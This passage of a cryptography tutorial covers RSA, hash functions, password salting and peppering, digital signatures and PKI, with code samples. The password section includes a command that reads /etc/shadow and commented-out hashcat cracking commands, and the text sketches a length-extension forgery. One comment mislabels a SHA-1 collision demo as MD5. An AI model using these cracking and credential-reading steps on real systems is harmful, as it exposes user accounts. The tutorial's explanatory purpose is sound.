&lt;span class="c"&gt;# Shows: RSA 2048-bit or EC P-256 etc.&lt;/span&gt;

&lt;span class="c"&gt;# Python - RSA encryption:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization

# Generate 2048-bit RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Encrypt with public key (OAEP padding — correct padding scheme)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)
print(f"Encrypted: {ciphertext[:20].hex()}... ({len(ciphertext)} bytes)")

# Decrypt with private key
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                 algorithm=hashes.SHA256(), label=None)
)
print(f"Decrypted: {plaintext}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; RSA and ECC solve the key distribution problem but are NOT used to encrypt actual data at scale — they are too slow. In practice, asymmetric cryptography is used to securely exchange a symmetric key, which then encrypts the actual data. This hybrid approach (asymmetric for key exchange, symmetric for data encryption) is exactly how TLS works.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Hash Functions — MD5, SHA-1, SHA-256, SHA-3
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Hash Functions Are
&lt;/h3&gt;

&lt;p&gt;A cryptographic hash function takes any input (any size) and produces a fixed-size output (digest/hash) with specific mathematical properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash Function Properties (required for security):

1. Deterministic: Same input → always same output
   hash("Hello") → always produces the same hash

2. Fixed Output Size: Regardless of input length
   hash("a") → 256 bits
   hash(entire_movie.mp4) → 256 bits (same length)

3. One-Way (Preimage Resistance):
   Given H, computationally infeasible to find M where hash(M) = H
   Cannot reverse the hash to get input

4. Second Preimage Resistance:
   Given M1, computationally infeasible to find M2 where hash(M1) = hash(M2)
   Cannot find a different input with the same hash

5. Collision Resistance:
   Computationally infeasible to find ANY M1, M2 where hash(M1) = hash(M2)
   (Note: collisions MUST exist — infinite inputs, finite outputs)
   But finding them should be computationally infeasible

6. Avalanche Effect: Small change → completely different output
   hash("Hello") → "2cf24d..."
   hash("hello") → "b94d27b9..."  (completely different — 1 bit change)
   This prevents any correlation between input and output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Hash Algorithms Comparison
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Algorithm  Output   Status         Best Attack           Security
──────────────────────────────────────────────────────────────────────────────
MD5        128-bit  BROKEN         Collision: 2009       NONE for integrity
                                   (Flame malware used   DO NOT USE
                                   MD5 collision for
                                   code signing bypass)
SHA-1      160-bit  BROKEN         SHAttered (2017):     DO NOT USE
                                   Google/CWI computed   for security
                                   first SHA-1 collision purposes
                                   Cost: ~$100,000 GPU
SHA-224    224-bit  Deprecated     Theoretical only      Acceptable transitional
SHA-256    256-bit  SECURE         No practical attack    128-bit security
                                   known                  USE THIS
SHA-384    384-bit  SECURE         No practical attack    192-bit security
SHA-512    512-bit  SECURE         No practical attack    256-bit security
SHA-3-256  256-bit  SECURE         Different design       128-bit security
                                   from SHA-2 family     Use for diversity
BLAKE2b    512-bit  SECURE         No practical attack    256-bit security
                                                          Faster than SHA-3
BLAKE3     256-bit  SECURE         No practical attack    128-bit security
                                                          Fastest modern hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 MD5 — Broken
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MD5 (Ronald Rivest, 1992):
  Output: 128-bit (32 hex characters)

Timeline of MD5's death:
  1993: Den Boer and Bosselaers: theoretical weaknesses found
  1996: Dobbertin: MD5 compression function collisions found (partial break)
  2004: Wang et al.: first full MD5 collisions computed
         Cost: hours on a laptop
  2005: Lenstra et al.: demonstrated MD5-based X.509 certificate collision
         Two different certificates with the same MD5 hash
  2008: CMU/Sotirov: rogue CA certificate using MD5 collision
         Created fraudulent intermediate CA certificate trusted by all browsers
         Full HTTPS impersonation of any website theoretically possible
  2012: Flame malware: used MD5 collision to forge Microsoft code-signing certificate
         Malware appeared to be legitimately signed by Microsoft
         Affected: Iranian nuclear programme (likely)

MD5 in security today:
  NEVER use for: passwords, digital signatures, certificates, any security purpose
  MAY use for: non-security file deduplication, non-security checksums
               (but SHA-256 is equally fast and secure — just use SHA-256)
  Found in: legacy systems, old configurations, some OT firmware update checks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 SHA-1 — Broken
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SHA-1 (NIST, 1995):
  Output: 160-bit (40 hex characters)

Timeline:
  2005: Xiaoyun Wang: theoretical collision attack (2^69 operations vs 2^80 ideal)
  2007: NIST recommends migration away from SHA-1
  2011: CA/Browser Forum: ban SHA-1 certificates after 2015
  2017: SHAttered attack (Google/CWI Amsterdam):
         First SHA-1 collision computed
         Two different PDF files with IDENTICAL SHA-1 hashes
         Cost: 9 quintillion SHA-1 computations = ~$100,000 in cloud computing
         Same PDF files have different content but same SHA-1 hash

  2020: Chosen-prefix collision: find collision given arbitrary prefixes
         More powerful than identical-prefix collision
         Cost reduced to ~$50,000

Impact of SHAttered:
  Git uses SHA-1 internally (aware, mitigations added: SHA-256 migration ongoing)
  Any SHA-1-based integrity check can potentially be bypassed

SHA-1 in security today:
  NEVER use for: digital signatures, certificates, TLS, code signing
  Legacy OT concern: many industrial firmware update mechanisms use SHA-1
                     for integrity verification — still vulnerable to SHAttered
                     type attacks on controlled devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 SHA-256 and SHA-3
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SHA-256 (NIST, 2001) — Part of SHA-2 family:
  Output: 256-bit (64 hex characters)
  Internal structure: Merkle-Damgård construction with Davies-Meyer compression
  No practical attacks known
  Used in: Bitcoin, TLS, code signing, most modern security applications

SHA-3 (Keccak, NIST standardised 2015):
  Different internal structure from SHA-2 (sponge construction)
  Not vulnerable to length extension attacks (SHA-2 is)
  SHA-3-256 output: 256-bit
  Adoption: slower (SHA-2 still dominant)
  Use case: when diversity from SHA-2 is needed (defence against future SHA-2 attacks)

Length Extension Attack (SHA-2 weakness, not SHA-3):
  Given H(m) and len(m) but NOT m:
  Attacker can compute H(m || padding || extension) without knowing m

  Attack scenario:
  API: sign request with SHA-256(secret_key || request_params)
  Attacker: knows H(secret_key || "user=alice")
            Can compute H(secret_key || "user=alice" || padding || "&amp;amp;admin=true")
            Without knowing secret_key!

  Fix: use HMAC instead of raw hash for message authentication
  HMAC is not vulnerable to length extension attacks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hash function demonstrations:&lt;/span&gt;

&lt;span class="c"&gt;# Calculate hashes of same file:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello World"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; test.txt
&lt;span class="nb"&gt;md5sum &lt;/span&gt;test.txt         &lt;span class="c"&gt;# MD5: e59ff97941044f85df5297e1c302d260&lt;/span&gt;
&lt;span class="nb"&gt;sha1sum &lt;/span&gt;test.txt        &lt;span class="c"&gt;# SHA1: 648a6a6ffffdaa0badb23b8baf90b6168dd16b3a&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;test.txt      &lt;span class="c"&gt;# SHA256: d2a84f4b8b650937ec8f73cd8be2c74add5a911ba64df27458ed8229da804a26&lt;/span&gt;
&lt;span class="nb"&gt;sha512sum &lt;/span&gt;test.txt      &lt;span class="c"&gt;# SHA512: (128 hex chars)&lt;/span&gt;
&lt;span class="nb"&gt;b2sum &lt;/span&gt;test.txt          &lt;span class="c"&gt;# BLAKE2b (package: b2sum)&lt;/span&gt;

&lt;span class="c"&gt;# Verify file integrity (download verification):&lt;/span&gt;
wget https://example.com/software.tar.gz
wget https://example.com/software.tar.gz.sha256sum
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; software.tar.gz.sha256sum
&lt;span class="c"&gt;# "software.tar.gz: OK" = file not tampered&lt;/span&gt;

&lt;span class="c"&gt;# Demonstrate avalanche effect:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import hashlib

msg1 = b"Hello World"
msg2 = b"Hello world"  # Only capital W changed

h1 = hashlib.sha256(msg1).hexdigest()
h2 = hashlib.sha256(msg2).hexdigest()

print(f"SHA-256('Hello World'): {h1}")
print(f"SHA-256('Hello world'): {h2}")

# Count differing bits:
b1 = int(h1, 16)
b2 = int(h2, 16)
diff = bin(b1 ^ b2).count('1')
print(f"Differing bits: {diff} out of 256 ({diff/256*100:.1f}%)")
# Approximately 128 bits differ (50%) — avalanche effect
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Demonstrate MD5 collision (SHAttered file pair):&lt;/span&gt;
&lt;span class="c"&gt;# Download the two PDF files that have same SHA-1:&lt;/span&gt;
&lt;span class="c"&gt;# wget https://shattered.io/static/shattered-1.pdf&lt;/span&gt;
&lt;span class="c"&gt;# wget https://shattered.io/static/shattered-2.pdf&lt;/span&gt;
&lt;span class="c"&gt;# sha1sum shattered-1.pdf shattered-2.pdf  # IDENTICAL SHA-1&lt;/span&gt;
&lt;span class="c"&gt;# sha256sum shattered-1.pdf shattered-2.pdf  # DIFFERENT SHA-256&lt;/span&gt;

&lt;span class="c"&gt;# HMAC (keyed hash, MAC):&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import hmac, hashlib
key = b'secret_key'
message = b'user=alice&amp;amp;action=transfer&amp;amp;amount=1000'
mac = hmac.new(key, message, hashlib.sha256).hexdigest()
print(f'HMAC-SHA256: {mac}')
# Attacker cannot forge this without knowing the key
# Not vulnerable to length extension attacks
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Salt and Pepper — Password Hashing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Naive Password Hashing Fails
&lt;/h3&gt;

&lt;p&gt;Simply hashing passwords and storing the hash is insufficient protection. Two attacks defeat it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack 1 — Rainbow Tables:
  Precompute hashes of millions of common passwords:
  MD5("password")  = "5f4dcc3b5aa765d61d8327deb882cf99"
  MD5("123456")    = "e10adc3949ba59abbe56e057f20f883e"
  MD5("admin")     = "21232f297a57a5a743894a0e4a801fc3"

  Breach database → look up hash in precomputed table → plaintext in milliseconds
  No computation needed — just lookup

  Countermeasure: Salt (makes precomputation impossible)

Attack 2 — Dictionary Attack:
  Hash common passwords and compare to stolen hashes
  For each candidate password: compute hash → compare
  GPU can compute billions of SHA-256 hashes per second

  Countermeasure: Slow hash functions (bcrypt, scrypt, Argon2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Salt
&lt;/h3&gt;

&lt;p&gt;A salt is a random value unique to each password, added before hashing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITHOUT SALT:
  User A: password "letmein" → SHA-256 → "b3fba..."
  User B: password "letmein" → SHA-256 → "b3fba..."

  Same password → same hash
  Attacker sees: User A and B have same hash → same password
  Crack one → crack both
  Rainbow table works: "b3fba..." → "letmein"

WITH SALT:
  User A: password "letmein" + salt "xK7mP2" → SHA-256 → "a1b2c3..."
  User B: password "letmein" + salt "9qRnL5" → SHA-256 → "z9y8x7..."

  Same password → DIFFERENT hashes (different salts)
  Attacker must crack each hash independently
  Rainbow tables are useless (different salt = different table needed per user)

  Salt must be:
  - Random (generated with CSPRNG)
  - Unique per password (even same user resetting password gets new salt)
  - Stored alongside the hash (not secret — attacker who gets DB gets salt too)
    But that's OK — salt defeats rainbow tables even when known
  - Long enough: 16+ bytes (128+ bits)

bcrypt (Blowfish-based, 1999):
  Incorporates salt automatically
  Output format: $2b$12$SALT22CHARS.HASH31CHARS
    $2b$ = bcrypt version
    12   = cost factor (2^12 rounds = 4096 iterations)
    next 22 chars = salt (128 bits)
    last 31 chars = hash

  Cost factor: controls speed (and therefore brute-force resistance)
  Higher cost = slower hash = more resistant to brute force
  Recommendation: choose cost factor so hashing takes 100-300ms
  Increase cost factor over time as hardware gets faster

Argon2 (Password Hashing Competition winner, 2015):
  Three variants:
  Argon2d: data-dependent, resists GPU cracking
  Argon2i: data-independent, resists side-channel attacks
  Argon2id: hybrid, RECOMMENDED for passwords

  Parameters: time cost, memory cost, parallelism
  Memory cost: makes hardware attacks (ASIC/GPU) expensive
  Argon2id(time=3, memory=64MB, parallel=4) recommended by OWASP (2024)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Pepper
&lt;/h3&gt;

&lt;p&gt;A pepper is an additional secret value added to passwords before hashing, stored separately from the database (in application code, HSM, or configuration).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITH SALT + PEPPER:
  password + salt + pepper → hash

  Storage:
  Database: salt + hash (attacker who breaches DB gets these)
  Application/HSM: pepper (attacker who only breaches DB doesn't have this)

  Even with: stolen database + knowing salt + knowing algorithm
  Attacker cannot crack without pepper
  Must also breach application server or HSM

  Pepper requirements:
  - HIGH entropy (256 bits random)
  - Different from the salt
  - Stored separately from the database (application config, HSM)
  - Never logged or exposed in error messages
  - Rotate with re-hashing (requires all users to re-authenticate)

Limitations:
  If attacker compromises BOTH database AND application server: both salt and pepper available
  Pepper is only effective if the attacker has access to ONE but not both

Combined: salt + pepper + slow hash (Argon2id or bcrypt) is the current gold standard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Password hashing in practice:&lt;/span&gt;

&lt;span class="c"&gt;# bcrypt in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import bcrypt
import time

password = b"UserPassword123!"
pepper = b"AppSecretPepper256BitRandom"  # Store in app config, not DB

# Hash (bcrypt handles salt automatically)
peppered = password + pepper
start = time.time()
hashed = bcrypt.hashpw(peppered, bcrypt.gensalt(rounds=12))
elapsed = time.time() - start
print(f"bcrypt hash: {hashed.decode()}")
print(f"Time to hash: {elapsed:.3f}s (should be ~100-300ms)")

# Verify:
is_valid = bcrypt.checkpw(peppered, hashed)
print(f"Password valid: {is_valid}")

# Wrong password:
wrong = b"WrongPassword" + pepper
is_valid = bcrypt.checkpw(wrong, hashed)
print(f"Wrong password valid: {is_valid}")  # False
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Argon2id in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# OWASP recommended parameters
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4, hash_len=32, salt_len=16)
# time_cost=3: 3 iterations
# memory_cost=65536: 64MB RAM (makes GPU/ASIC attacks expensive)
# parallelism=4: use 4 threads

password = "UserPassword123!"
pepper = "AppSecretPepper"

hash_val = ph.hash(password + pepper)
print(f"Argon2id hash: {hash_val[:50]}...")

# Verify:
try:
    ph.verify(hash_val, password + pepper)
    print("Password valid")
except VerifyMismatchError:
    print("Password invalid")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check what hash algorithm is used in /etc/shadow:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c1-5&lt;/span&gt;
&lt;span class="c"&gt;# $6$ = SHA-512 (acceptable for system use)&lt;/span&gt;
&lt;span class="c"&gt;# $5$ = SHA-256&lt;/span&gt;
&lt;span class="c"&gt;# $y$ = yescrypt (best, modern Linux default)&lt;/span&gt;
&lt;span class="c"&gt;# $2b$ = bcrypt&lt;/span&gt;
&lt;span class="c"&gt;# Blank or no $ = no password (check immediately!)&lt;/span&gt;

&lt;span class="c"&gt;# Crack example hashes to understand speed difference:&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 0 hash.txt wordlist.txt        # MD5: billions/sec&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 3200 hash.txt wordlist.txt     # bcrypt: thousands/sec&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 1800 hash.txt wordlist.txt     # SHA-512crypt: millions/sec&lt;/span&gt;
&lt;span class="c"&gt;# Speed difference: MD5 = 1,000,000× faster than bcrypt&lt;/span&gt;
&lt;span class="c"&gt;# This is exactly why bcrypt for passwords matters&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Password storage security is not about using "a hash" — it is about using a purpose-built, slow password hashing function (Argon2id or bcrypt) with a random unique salt. SHA-256(password) is not password storage — it is broken password storage. The goal is to make brute forcing so slow that even a database breach yields no crackable passwords within an attacker's operational window.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Digital Signatures
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What Digital Signatures Provide
&lt;/h3&gt;

&lt;p&gt;A digital signature provides three guarantees simultaneously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication:&lt;/strong&gt; The message came from the claimed sender (they have the private key)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity:&lt;/strong&gt; The message has not been modified since signing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Non-repudiation:&lt;/strong&gt; The sender cannot deny having sent it (only they have the private key)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Digital Signature Process:

SIGNING (sender with private key):
  Message M → Hash(M) → Sign with Private Key → Signature S
  Send: (M, S)

VERIFICATION (receiver with public key):
  Receive: (M, S)
  Compute: Hash(M) → H1
  Decrypt: S with Public Key → H2
  Verify:  H1 == H2?
    YES: signature valid (M not tampered, came from key holder)
    NO:  signature invalid (M modified, or wrong signer)

Why hash first?
  RSA can only sign data ≤ key size (2048 bits)
  Hash reduces any-size message to fixed output (256 bits for SHA-256)
  Sign the hash, not the message

  RSA-PSS (Probabilistic Signature Scheme) — correct:
  Uses random salt, provably secure, RECOMMENDED

  RSA-PKCS1v15 — legacy:
  Deterministic, older vulnerabilities, still widely used but avoid for new systems

  ECDSA (Elliptic Curve Digital Signature Algorithm):
  Based on ECC discrete log problem
  256-bit signature (much shorter than RSA-2048's 256-byte signature)
  Requires cryptographically random k value per signature

  Critical ECDSA vulnerability: k reuse
  If same k used twice with different messages:
  Private key can be recovered algebraically

  2010: PlayStation 3 used constant k in ECDSA → private key recovered
  2013: Android Bitcoin wallet ECDSA k reuse → keys stolen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Code Signing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Code Signing: applying digital signatures to software to verify authenticity

Windows Authenticode:
  Developer signs executable with private key (from certificate authority)
  Windows verifies signature before execution (if policy enforced)
  "Published by: Microsoft Corporation" with valid chain → trusted
  Self-signed → warning
  No signature → warning or block

  Attack: steal code signing certificate and private key
  Example: Stuxnet used stolen certificates from Realtek and JMicron
           to sign kernel drivers → bypassed Windows driver signing requirement

Linux Package Signing:
  Debian/Ubuntu: GPG signatures on packages + repository metadata
  RPM: GPG signatures on packages
  apt: verifies package signatures automatically

  Verify GPG signature:
  gpg --verify file.sig file

Certificate Transparency (CT):
  All publicly trusted TLS certificates must be logged to CT logs
  Allows monitoring for unexpected certificates for your domains
  Tools: crt.sh, certspotter, Google CT

SSH Host Key Verification:
  SSH server presents public key fingerprint
  Client verifies against known_hosts
  First connection: TOFU (Trust On First Use) — user must verify
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Digital signatures in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Sign a file with private key:&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-sign&lt;/span&gt; private.pem &lt;span class="nt"&gt;-out&lt;/span&gt; signature.bin document.txt

&lt;span class="c"&gt;# Verify signature:&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-verify&lt;/span&gt; public.pem &lt;span class="nt"&gt;-signature&lt;/span&gt; signature.bin document.txt
&lt;span class="c"&gt;# "Verified OK" = authentic and unmodified&lt;/span&gt;

&lt;span class="c"&gt;# Sign with GPG:&lt;/span&gt;
gpg &lt;span class="nt"&gt;--gen-key&lt;/span&gt;                                    &lt;span class="c"&gt;# Generate GPG key pair&lt;/span&gt;
gpg &lt;span class="nt"&gt;--sign&lt;/span&gt; &lt;span class="nt"&gt;--armor&lt;/span&gt; document.txt                  &lt;span class="c"&gt;# Sign (creates document.txt.asc)&lt;/span&gt;
gpg &lt;span class="nt"&gt;--verify&lt;/span&gt; document.txt.asc document.txt       &lt;span class="c"&gt;# Verify signature&lt;/span&gt;

&lt;span class="c"&gt;# Python - sign and verify:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.asymmetric import ec, utils
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# Generate EC key pair (P-256)
private_key = ec.generate_private_key(ec.SECP256R1())
public_key = private_key.public_key()

# Sign message
message = b"This document is authentic"
signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
print(f"Signature: {signature.hex()[:40]}... ({len(signature)} bytes)")

# Verify - original message:
try:
    public_key.verify(signature, message, ec.ECDSA(hashes.SHA256()))
    print("Signature VALID")
except InvalidSignature:
    print("Signature INVALID")

# Verify - tampered message:
tampered = b"This document is authentic and has extra admin=true"
try:
    public_key.verify(signature, tampered, ec.ECDSA(hashes.SHA256()))
    print("Tampered signature VALID")  # Should never reach here
except InvalidSignature:
    print("Tampered message: Signature INVALID — tampering detected!")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check certificate signature:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A3&lt;/span&gt; &lt;span class="s2"&gt;"Signature Algorithm"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. PKI — Public Key Infrastructure
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 The Problem PKI Solves
&lt;/h3&gt;

&lt;p&gt;Asymmetric cryptography lets us encrypt to anyone with their public key. But how do you know that the public key claiming to be "google.com" actually belongs to Google and not an attacker?&lt;/p&gt;

&lt;p&gt;PKI (Public Key Infrastructure) is the system of trust, policies, procedures, and technologies that manages digital certificates, binding public keys to verified identities.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The Man-in-the-Middle Problem:

Without PKI:
  Alice wants to connect to "bank.com"
  Attacker intercepts connection:
  Alice ←→ Attacker ←→ Bank
  Attacker sends own public key to Alice, claiming to be Bank
  Alice encrypts with attacker's key
  Attacker decrypts, re-encrypts with bank's real key
  Alice has no way to know she's talking to the attacker

With PKI:
  Bank has a certificate signed by a trusted Certificate Authority (CA)
  Certificate contains: Bank's public key + domain name + CA signature
  Alice's browser trusts the CA (comes pre-installed)
  Browser verifies: CA signature is valid → this public key belongs to bank.com
  Attacker cannot forge this — doesn't have CA's private key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Certificate Structure (X.509)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X.509 Certificate Fields:

Version:             3 (v3 is current)
Serial Number:       Unique identifier assigned by CA
Signature Algorithm: sha256WithRSAEncryption or ecdsa-with-SHA256
Issuer:              CA that signed this certificate
                     CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1
Validity:
  Not Before:        2024-01-01 00:00:00 UTC
  Not After:         2025-01-31 23:59:59 UTC
Subject:             Who this certificate belongs to
                     CN=*.google.com, O=Google LLC, C=US
Subject Public Key:  The actual public key (RSA or EC)
                     RSA 2048-bit or ECC P-256
Extensions:
  Subject Alternative Names (SANs): All domains covered
    DNS:*.google.com
    DNS:google.com
  Key Usage: Digital Signature, Key Encipherment
  Extended Key Usage: TLS Web Server Authentication
  Certificate Policies: https://pki.goog/repository/
  CRL Distribution Points: URL to check if certificate is revoked
  OCSP: URL for real-time revocation checking
  Certificate Transparency: SCT list (proof of CT log inclusion)
Signature: CA's signature over all of the above
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Certificate Chain of Trust
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PKI Trust Hierarchy:

Root CA (self-signed, highest trust)
  └── Intermediate CA (signed by Root CA)
        └── End-Entity Certificate (signed by Intermediate CA)
            (the certificate for google.com, for example)

Root CA:
  Stored in OS/browser trust stores (pre-installed)
  ~150 trusted root CAs in major browsers
  Private key extremely protected (offline, HSM, physical vault)
  Very rarely used directly (too valuable to risk)

Intermediate CA:
  Signed by root CA, issues end-entity certificates
  Private key stored in HSM (Hardware Security Module)
  If compromised: can be revoked without compromising root

End-Entity Certificate:
  Issued to the specific organisation/domain
  Short-lived (1 year max since 2020 for public TLS)

Chain validation:
  Browser validates end-entity cert is signed by intermediate CA
  Validates intermediate CA is signed by root CA
  Validates root CA is in trusted store
  Validates none are expired or revoked
  Validates domain name matches (SAN check)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Certificate Revocation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What if a private key is compromised? Certificate must be revoked.

CRL (Certificate Revocation List):
  List of revoked serial numbers, signed by CA, published periodically
  Browsers download CRL and check if certificate serial number is in it
  Problem: CRL can be large, infrequent updates, check often skipped

OCSP (Online Certificate Status Protocol):
  Real-time revocation check — query CA's OCSP responder per certificate
  Faster than CRL, smaller response
  Problem: Privacy (CA knows which sites you visit), performance, failure mode

OCSP Stapling:
  Server periodically fetches its own OCSP response from CA
  Includes ("staples") the response in TLS handshake
  Browser gets revocation status without contacting CA
  Best approach: solves privacy and performance

Revocation in practice (sadly):
  Browser failure to get CRL/OCSP response → typically ALLOW connection
